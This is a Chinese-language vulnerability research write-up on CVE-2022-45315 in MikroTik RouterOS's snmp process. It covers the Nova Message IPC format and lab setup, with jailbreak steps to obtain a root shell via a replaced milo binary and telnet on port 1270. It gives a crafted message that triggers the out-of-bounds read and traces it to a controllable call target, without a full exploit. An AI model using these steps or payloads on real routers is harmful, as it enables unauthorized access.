CVE-2022-45315 RouterOS SNMP 越界讀漏洞研究
這個漏洞可能導致認證后 RCE。
[!error] Hyper-V 的影響
在一些開啟了 Hyper-V 的電腦上,RouterOS 可能無法在 VMWare Workstation 中模擬運行或啟動非常緩慢,如果遇到無法運行的情況,請酌情考慮關閉 Hyper-V,如果能成功運行但是啟動緩慢,可以及時拍攝快照。
漏洞描述
Mikrotik RouterOs before stable v7.6 was discovered to contain an out-of-bounds read in the snmp process. This vulnerability allows attackers to execute arbitrary code via a crafted packet.
目標二進制為 /nova/bin/snmp。
前置知識
RouterOS 有一些交互方式,這里我們可能會用到 JS 交互和 Winbox 交互。
JS 交互本質上就是通過 http 協議走 80 端口,RouterOS 中的 www 進程負責解析用戶請求并發給指定的進程 。
Winbox 交互是通過 8291 端口進行的,RouterOS 中的 mproxy 進程負責接收請求并解析,發送給指定的進程。
這些協議的加密細節在此不做討論,感興趣的讀者可以自行研究。
Nova Message
Nova Message 是 RouterOS 中的自定義消息格式,它被用來進程之間的通信。Nova Message 的格式是 Type Key-Value Pairs,這里舉個栗子:
{bff0005:1, uff0006:0x1, uff0007:0xfe000d, s1:'admin', Uff0001:[13,7]}
Type
在上面的例子中,每一個 Key 的首字母是類型(Type),剩下的部分才是真正的 Key。Nova Message 中有若干種類型(Type):
b: bool u: 32bit integer q: 64bit integer s: string r: raw a: IPv6 m: message B: bool array U: 32bit integer array Q: 64bit integer array S: string array R: raw array A: IPv6 array M: message array
Key
根據上面的例子,Key 中的低 24 位才是真正的 Key。而這低 24 位也有自己的說法:
key = 0xGGVVVV, G=group, V=value
其中 GG 代表的是命令的組,在 RouterOS 中,GG 可能的值包括:
0xFF - SYS 0xFE - STD 0xFD - LOCAL 0x01 - NET 0x02 - MODULER 0x03 - SERMGR 0x04 - NOTIFY 0x05 - RADV 0x06 - SYSTEM 0x07 - PING 0x08 - UNDO 0x09 - LOG 0x0A - MEPTY 0x0B - PPPMAN 0x0C - RADIUS 0x0D - HOTPLUG 0x0E - BRIDGE 0x0F - DISKD 0x10 - DUDE 0x11 - CONSOLE 0x12 - CERM 0x2C - ROUTE
以 Group 為 0xFF(SYS) 為例,不同的值也有不同的含義:
SYS_TO: 0xFF0001 SYS_FROM: 0xFF0002 SYS_TYPE: 0xFF0003 SYS_STATUS: 0xFF0004 SYS_REPLYEXP: 0xFF0005 SYS_REQID: 0xFF0006 SYS_CMD: 0xFF0007 SYS_ERRNO: 0xFF0008 SYS_ERRSTR: 0xFF0009 SYS_USER: 0xFF000A SYS_POLICY: 0xFF000B;用于表示當前用戶的權限 SYS_CTRL: 0xFF000D SYS_CTRL_ARG: 0xFF000F SYS_USER_ID: 0xFF0010 SYS_NOTIFYCMD: 0xFF0011 SYS_ORIGINATOR: 0xFF0012 SYS_RADDR6: 0xFF0013 SYS_DREASON: 0xFF0016
對于 SYS_CMD,我們可以設置不同的值完成不同的功能:
0xfe0000 - NOP 0xfe0001 - getPolicies 0xfe0002 - getObj 0xfe0003 - setObj 0xfe0004 - getAll 0xfe0005 - addObj 0xfe0006 - removeObj 0xfe0007 - moveObj 0xfe0008 - setForm 0xfe000b - notify 0xfe000c - shutdown 0xfe000d - get 0xfe000e - set 0xfe000f - start 0xfe0010 - poll 0xfe0011 - cancel 0xfe0012 - subscribe 0xfe0013 - unsubscribe 0xfe0014 - disconnected 0xfe0015 - getCount
進程關系
在 RouterOS 中,init 只負責啟動 loader,由 loader 啟動和管理其他進程。
init-+-busybox-+-ash---pstree
| `-ash
|-loader-+-agent
| |-arpd
| |-bluetooth
| |-bridge2
| |-btest
| |-cerm-worker
| |-console
| |-discover
... ... ...
| |-snmp
... ... ...
RouterOS Namespaces
那么 loader 具體是怎樣管理進程呢?RouterOS 將子進程的信息寫在了 /nova/etc/loader/system.x3 中,它可以通過 Loader X3 Parser 這個工具解析。一些子進程的信息如下所示:
./x3_parse -f ../example/system_6_43_45.x3 /nova/bin/log -> 3 /nova/bin/radius -> 5 /nova/bin/moduler -> 6 /nova/bin/user -> 13 ... /nova/bin/snmp -> 34 ...
環境搭建
我使用的環境為 MikroTik RouterOS 7.1.1。
常用指令
我們先配置一下環境,下面列出了一些參考指令:
# 查看網卡 interface print # 配置動態 IP ip dhcp-client add interface=ether1 disable=no # 查看網絡信息 ip dhcp-client print detail # 查看授權 system licens print # 關機 system shutdown # 重啟 system reboot # 重置系統 system reset
開啟 SNMP
RouterOS 中的 SNMP 不是默認開啟的,我們需要手動開啟,下面提供了一些參考指令,也可以參考官方文檔:
# 開啟 SNMP snmp set enabled=yes # 查看當前配置的 SNMP 團體信息 snmp community/print # 更改團體名字 snmp community set name=<name> <id> # 添加新的團體 snmp community add name=VegetaRocks # 設置聯系方式 snmp set contact="Contact info" # 設置地址 snmp set location="Location" # 查看 SNMP 配置信息 snmp print
獲取 root shell
這里列舉了一些獲取 root shell 的方法。
MethodVirtual MachineReal Devicecleaner_wrasse 1√√netboot jailbreak 2×√FOISted 3√√container_mount 4√√execute_milo 5√×memory patch [^2] 6√×
本文使用了 execute_milo 獲取 root,它來自 tenable/routeros。
我們首先下載并安裝必要的包:
git clone https://github.com/tenable/routeros.git sudo apt install libboost-all-dev cmake libboost-dev
我們通過里面的 Execute Milo 工具獲取 root shell,它利用了 /flash/bin 下的 milo 文件可被覆蓋且啟動時不會做完整性校驗的 feature。
接下來我們用 FTP 將一些必要文件傳到 RouterOS 上。FTP 傳輸文件支持四種文件類型傳輸,這里我只使用了 binary mode。我寫了一個小工具幫助上傳/下載文件:
from ftplib import FTP
import sys
import argparse
import os
def get_bin(ftp, ftpFileName: str, localFileName=""):
if localFileName == "":
localFileName = os.path.basename(ftpFileName)
ftp.retrbinary("RETR {}".format(ftpFileName),
open(localFileName, "wb").write)
def put_bin(ftp, localFileName: str, ftpFileName=""):
if ftpFileName == "":
ftpFileName = os.path.basename(localFileName)
print("putting {} to {}".format(localFileName, ftpFileName))
with open(localFileName, "rb") as f:
ftp.storbinary("STOR {}".format(ftpFileName), f)
all_files = []
"""
python mftp.py [--ip remote_ip] [-o operation] [-f file [file ...]] [-r renamed_file [renamed_file ...]]
"""
def main():
parser = argparse.ArgumentParser(
description='Simple FTP script for RouterOS.')
parser.add_argument("--ip",
action="store",
dest="ip",
help="Remote IP")
parser.add_argument("-u", "--user",
action="store",
dest="user",
help="Username")
parser.add_argument("-p", "--password",
action="store",
dest="password",
help="Password")
parser.add_argument("-o", "--op",
action="store",
dest="op",
help="Operation")
parser.add_argument("-f", "--file",
nargs='+',
dest="file",
help="To transferred filename.")
parser.add_argument("-r", "--rename",
nargs='+',
dest="rename",
help="Renamed filename.")
args = parser.parse_args()
ip = args.ip
op = args.op
file_list = args.file
rename_list = args.rename
if op not in ["get", "put"]:
print(parser.print_help())
return
if rename_list and len(file_list) != len(rename_list):
print("Transfer file number not equal to renamed file number")
return
user = args.user if args.user else "admin"
password = args.password if args.password else ""
ftp = FTP()
ftp.connect(ip, 21)
ftp.login(user, password)
if op == "put":
if rename_list:
for i in range(len(file_list)):
put_bin(ftp, file_list[i], rename_list[i])
else:
for f in file_list:
put_bin(ftp, f)
return
if op == "get":
if rename_list:
for i in range(len(file_list)):
get_bin(ftp, file_list[i], rename_list[i])
else:
for f in file_list:
get_bin(ftp, f)
return
ftp.quit()
if __name__ == '__main__':
main()
上傳 vm_bins 目錄下的文件:
python mftp.py -u <uname> -p <pwd> --ip <ip> -o put -f vm_bins/busybox vm_bins/milo vm_bins/gdb
好,在上傳文件之后,關閉虛擬機,然后隨便用一個 Linux 的 Live CD 附加到虛擬機上,啟動到虛擬機中。(PS:由于這一步需要修改磁盤文件,在實體機上無法做到修改,我想這就是為什么這種方法只能用于虛擬機的原因吧。)
[!warning] 內存分配
可能由于虛擬機內存不足不能啟動 LiveCD,如果遇到無法啟動的情況,請考慮增大分配給虛擬機的內存。
我們要做的事情很簡單:FTP 上傳后的文件沒有可執行權限,因此我們在 LiveCD 中給它們加上可執行權限,再將 /flash/bin 中的 milo 覆蓋即可:
sudo su cd rw/disk/ chmod +x busybox chmod +x gdb chmod 755 milo mv milo ../../bin/milo ln -s /rw/disk/busybox ash exit
接下來我們編譯 Execute Milo 中的文件(參考 Readme 中的第六步)我們最終會獲得一個 execute_milo 文件,同時重啟到 RouterOS 中。
接下來執行我們獲取到的二進制。
./execute_milo -i <ip> -p <port> -u <username> --password <password>
[!bug] WinboxSession
在較新版本的 RouterOS 上(版本可能 >= 6.44.6),由于 Winbox 協議的變化,milo 不應該使用 WinboxSession 登錄而應該使用 JSProxySession。同時,使用的端口也應當修改為 80 端口。
最后 telnet 到 1270 端口即可獲得 shell:
telnet <target ip> 1270
漏洞觸發
上傳 gdb/gdbserver
hugsy/gdb-static 中有一些編譯好的靜態 gdb 和 gdbserver,各取所需即可。
wget https://github.com/hugsy/gdb-static/raw/master/gdbserver-7.10.1-x64 python mftp.py -u <uname> -p <pwd> --ip <ip> -o put -f gdbserver-7.10.1-x64 -r gdbserver
獲取目標程序
目標程序為 /nova/bin/snmp,我們將它復制到 /rw/disk 目錄下面然后用上面的小腳本獲取即可。
# in RouterOS root shell cp /nova/bin/snmp /rw/disk # in host shell python mftp.py -u <uname> -p <pwd> --ip <ip> -o get -f snmp
調試目標
./gdbserver :12345 --attach $(pidof snmp)
觸發漏洞
這里不提供完整 PoC,只給出觸發漏洞的關鍵部分(這一部分也可以在 pocs_slides/slides/POC2022-MikroTik_RouterOS_Security-The_Forgotten_IPC_Message.pdf 中找到):
char payload[513];
memset(payload, 'a', sizeof(char) * 512);
WinboxMessage msg;
msg.set_to(34, 0x1);
msg.set_command(0xfe0005);
msg.add_u32(0x14, 0xfffffffe);
msg.add_string(0x5, payload);
msg.set_request_id(1);
這個 payload 的 JSON 構造為:
{u14:0xfffffffe,uff0006:1,uff0007:0xfe0005,s5:'a'*512,Uff0001:[34,1]}
根據前置知識,我們可以了解到:
- 它要訪問的是
/bin/snmp的第一個 handler; - 它希望添加對象;
- 它定義了一個 u32 數字 0xfffffffe;
- 它定義了一個字符串 payload;
- 它設置了
SYS_REQID為 1。
可以觸發崩潰:
RouterOS 內部也提供了一個日志工具,可以查看崩潰信息,位于 /flash/rw/logs/。
漏洞分析
第一層棧幀
先跟蹤到 0x77f1fbb3,根據 vmmap,可以發現它位于 /lib/libuc++.so 中:
0x77f18000 0x77f29000 r-xp 11000 0 /lib/libuc++.so 0x77f29000 0x77f2a000 r-xp 1000 10000 /lib/libuc++.so 0x77f2a000 0x77f2b000 rwxp 1000 11000 /lib/libuc++.so
之后求得這個位置的偏移為 0x7bb3,我們進入到函數 sub_7BA4@<eax> 中:
.text:00007BA4 ; int __usercall sub_7BA4@<eax>(int@<eax>, int@<edx>, int@<ecx>) .text:00007BA4 sub_7BA4 proc near ; CODE XREF: ... ... .text:00007BA4 var_4= dword ptr -4 .text:00007BA4 .text:00007BA4 55 push ebp .text:00007BA5 89 E5 mov ebp, esp .text:00007BA7 53 push ebx .text:00007BA8 83 EC 08 sub esp, 8 .text:00007BAB 51 push ecx .text:00007BAC 52 push edx .text:00007BAD FF 70 18 push dword ptr [eax+18h] .text:00007BB0 FF 50 10 call dword ptr [eax+10h] .text:00007BB0 .text:00007BB3 8B 5D FC mov ebx, [ebp+var_4] .text:00007BB6 C9 leave .text:00007BB7 C3 retn .text:00007BB7 .text:00007BB7 sub_7BA4 endp
可以看到是在執行到 0x00007BB0 這個位置時觸發了崩潰,調用的地址值為 [eax+10h]。我們往前跟一下 eax。
第二層棧幀
再往前就是 0x77f227b9,求得它的偏移為:0xa7b9,位于函數 tree_base::insert_unique 中:
_DWORD *__userpurge tree_base::insert_unique@<eax>(_DWORD *a1, _DWORD *a2, _DWORD *a3, int a4, void (__cdecl *a5)(int))
{
... ...
{
if ( (unsigned __int8)sub_7BA4((int)a2, a2[3] + a2[5], a4) )
{
... ...
}
可以看到 a2 是被調用的地址,它是 insert_unique 的第二個參數
第三層棧幀
再往前追,我們可以追到 Item::regenerateKeys 函數:
int __cdecl Item::regenerateKeys(Item *this)
{
... ...
v1 = 28 * *((_DWORD *)this + 6);
v12 = (Item *)((char *)this + 48);
v11 = (char *)&unk_80859C0 + v1;
... ...
tree_base::insert_unique(&v13, v11, v7, &v18, map_node_move_constr<string,vector<unsigned char>>);
... ...
在這里,insert_unique 函數的第二個參數是 v11,再往前追可以追到上面的三條賦值語句,我們調試看一下這里面的賦值情況:
可以看到,在執行到
v1 = 28 * *((_DWORD *)this + 6);
時,我們發現 *((_DWORD *)this + 6) 正是我們輸入的 u14:0xfffffffe,這里有我們可以控制的輸入!
第四層棧幀
此時我們再往前追一下,可以跟到函數 Item::setConfig 中:
int __cdecl Item::setConfig(Item *this, const nv::message *message)
{
... ...
*((_DWORD *)this + 6) = nv::message::get<nv::u32_id>(message, 20);
... ...
這條語句會設置 *((_DWORD *)this + 6) 的值:
分析總結
由此,這個漏洞的觸發鏈已經非常清晰:
/nova/bin/snmp 側:
- 在
Item::setConfig函數中通過*((_DWORD *)this + 6)通過輸入控制該位置的值; - 在
Item::regenerateKeys函數中通過偏移控制函數地址。
/lib/libuc++.so 側:
- 進入函數
tree_base::insert_unique中,滿足條件后調用sub_7BA4@<eax>觸發漏洞。
漏洞利用
在上面的漏洞分析中,我們可以通過輸入間接地控制執行流,理論上我們可以做到任意地址執行,這是多么令人驚喜啊!
但很可惜的是,我們也就只能控制執行流了,其他的參數都不可控,因此也許只有比較極限的 ROP 才能完成攻擊。一種可能的利用思路是找到一個合適的 ROPChain,它可以布置寄存器指向堆上我們的輸入地址,做棧遷移后實現完整的攻擊。由于 RouterOS 是通過 RPC 通信的,進程中有很多函數操作 Nova Message,因此我覺得大概率是有滿足條件的 ROP chain 的。
限于時間關系本文就不在利用上展開深入研究了,感興趣的讀者可以根據上文的思路自行尋找實現完整的利用。
總結
雖然這是 RouterOS 上 SNMP 進程的漏洞,但它并不是一個 SNMP 協議漏洞或者 SNMP 協議實現導致的漏洞,而是 RouterOS 自定義的協議不正確導致的漏洞。借助此文我簡單介紹了 RouterOS 協議的相關知識,以及 CVE-2022-45315 的漏洞成因,希望可以幫到大家。